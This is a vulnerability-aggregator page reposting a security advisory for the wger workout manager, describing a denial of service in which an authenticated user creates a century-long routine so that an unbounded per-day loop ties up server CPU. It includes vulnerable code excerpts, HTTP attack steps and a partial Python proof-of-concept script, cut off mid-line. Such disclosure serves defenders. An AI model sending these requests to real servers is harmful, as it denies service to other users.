Skip to main content

Boteraser | Website and Server Security Solutions

🛡️ GHSA-v25j-wqcw-fvhj — wger

⚪ Unknown ✅ No Known Exploit CWE-400 OSV
N/A
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

wger has an Uncontrolled Resource Consumption issue

Summary

Any authenticated user can create a routine spanning an arbitrarily long date range (e.g. 100 years) and then trigger the date_sequence computation via any of the routine detail endpoints. The server iterates once per day in an unbounded while loop with no maximum duration validation, causing a single HTTP request to consume multiple seconds of server CPU and return a response containing tens of thousands of entries. Repeated requests can exhaust all worker threads and deny service to other users.

Details

The Routine model (file: wger/manager/models/routine.py) has start and end date fields with only one validation -- start must not be after end:

```python

# File: wger/manager/models/routine.py, line 151

def clean(self):

if self.end and self.start and self.start > self.end:

raise ValidationError('The start time cannot be after the end time.')

# NO maximum duration check

```

The RoutineSerializer (file: wger/manager/api/serializers.py, line 43) likewise performs no validation on the delta between start and end.

The date_sequence property (line 256) uses an unbounded loop:

```python

# File: wger/manager/models/routine.py, line 256

while current_date <= self.end:

# heavy computation per day: slots, entries, configs, logs

...

```

A routine with start=2000-01-01 and end=2099-12-31 produces 36,525 iterations, each performing O(slots x entries x configs) work. Five endpoints trigger this computation:

  • GET /api/v2/routine/<id>/date-sequence-display/
  • GET /api/v2/routine/<id>/date-sequence-gym/
  • GET /api/v2/routine/<id>/structure/
  • GET /api/v2/routine/<id>/logs/
  • GET /api/v2/routine/<id>/stats/

PoC

Prerequisites

  • One authenticated user account
  • No special permissions required

Attack Steps

```

# 1. Create a 100-year routine

POST /api/v2/routine/

Authorization: Token <token>

Content-Type: application/json

{

"name": "DoS routine",

"start": "2000-01-01",

"end": "2099-12-31"

}

# 2. Add at least one day (to make computation non-trivial)

POST /api/v2/day/

Authorization: Token <token>

Content-Type: application/json

{

"routine": <routine_id>,

"order": 1,

"name": "Day A"

}

# 3. Trigger the expensive computation

GET /api/v2/routine/<routine_id>/date-sequence-display/

Authorization: Token <token>

```

Expected: HTTP 400 (routine duration exceeds maximum)

Actual: HTTP 200 with 36,525 entries after several seconds of server CPU time

Proof of Concept Script

```python

#!/usr/bin/env python3

"""

PoC: Unbounded date_sequence Denial of Service

Target: wger Workout Manager

Severity: HIGH - CVSS 6.5

CWE-400: Uncontrolled Resource Consumption

Usage:

python3 poc.py http://localhost:8000

"""

import requests

import sys

import time

if len(sys.argv) < 2:

print(f"Usage: {sys.argv[0]} <BASE_URL>")

print(f"Example: {sys.argv[0]} http://localhost:8000")

sys.exit(1)

BASE = sys.argv[1].rstrip("/")

API = f"{BASE}/api/v2"

ATTACKER_USER = "dos_attacker_poc"

ATTACKER_PASS = "DosAttack!Poc!2025"

BANNER = """

=====================================================================

PoC: Unbounded date_sequence Denial of Service

Severity: HIGH

CWE-400: Uncontrolled Resource Consumption

=====================================================================

"""

print(BANNER)

# ---- Helper ----

def api_login(username, password):

r = requests.post(f"{API}/login/", json={

"username": username, "password": password

})

if r.status_code == 200:

return r.json().get("token")

return None

def api_headers(token):

return {"Authorization": f"Token {token}", "Content-Type": "application/json"}

# ---- 1. Authenticate ----

print("[1] Authenticating...")

token = api_login(ATTACKER_USER, ATTACKER_PASS)

if not token:

print(f" Registering account...")

r = requests.post(f"{API}/register/", json={

"username": ATTACKER_USER,

"password": ATTACKER_PASS,

})

if r.status_code in (200, 201):

token = r.json().get("token")

if not token:

token = api_login(ATTACKER_USER, ATTACKER_PASS)

if not token:

print(f"[-] Cannot authenticate. Response: {r.text[:200]}")

sys.exit(1)

print(f" Token: {token[:16]}...")

headers = api_headers(token)

# ---- 2. Create NORMAL routine (baseline) ----

print("\n[2] Creating baseline routine (30 days)...")

r = requests.post(f"{API}/routine/", headers=headers, json={

"name": "Normal 30-day routine",

"start": "2025-01-01",

"end": "2025-01-31",

})

normal_id = r.json()["id"]

r = requests.post(f"{API}/day/", headers=headers, json={

"routine": normal_id, "order": 1, "name": "Day A"

})

print(f" Routine id={normal_id} (30 days)")

start_time = time.time()

r = requests.get(

f"{API}/routine/{normal_id}/date-sequence-display/",

headers=headers,

)

baseline_time = time.time() - start_time

baseli

How this vulnerability can be exploited

This issue can be reached over the network, attack complexity is low, an attacker needs low-level privileges on the target. No user interaction is required. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality none, integrity none, availability high.

Weakness class

GHSA-v25j-wqcw-fvhj is classified as CWE-400: Uncontrolled Resource Consumption. A request can consume memory, CPU or storage without limit, exhausting capacity for everyone else.

Affected software

GHSA-v25j-wqcw-fvhj is recorded against 1 package.

  • wger

Timeline and source

Published on 13 May 2026. No public exploit is currently recorded for this entry. Record sourced from OSV.

References

github.com (Web)
github.com (Web)
github.com (Package)

Details

Severity Unknown
CVSS Score N/A
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
CWE CWE-400
Public Exploit ✅ No
Source OSV
Published 2026-05-13
Updated 2026-08-20
Modified 2026-05-13
Fix URL N/A

Affected Packages

Software From version Fixed in
wger

Similar Threats

Free Vulnerability Check

Is your site affected by GHSA-v25j-wqcw-fvhj?

BotEraser helps you identify potentially vulnerable plugins and themes by checking your installation against GHSA-v25j-wqcw-fvhj and other known CVE records.

Scan My Site Free →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.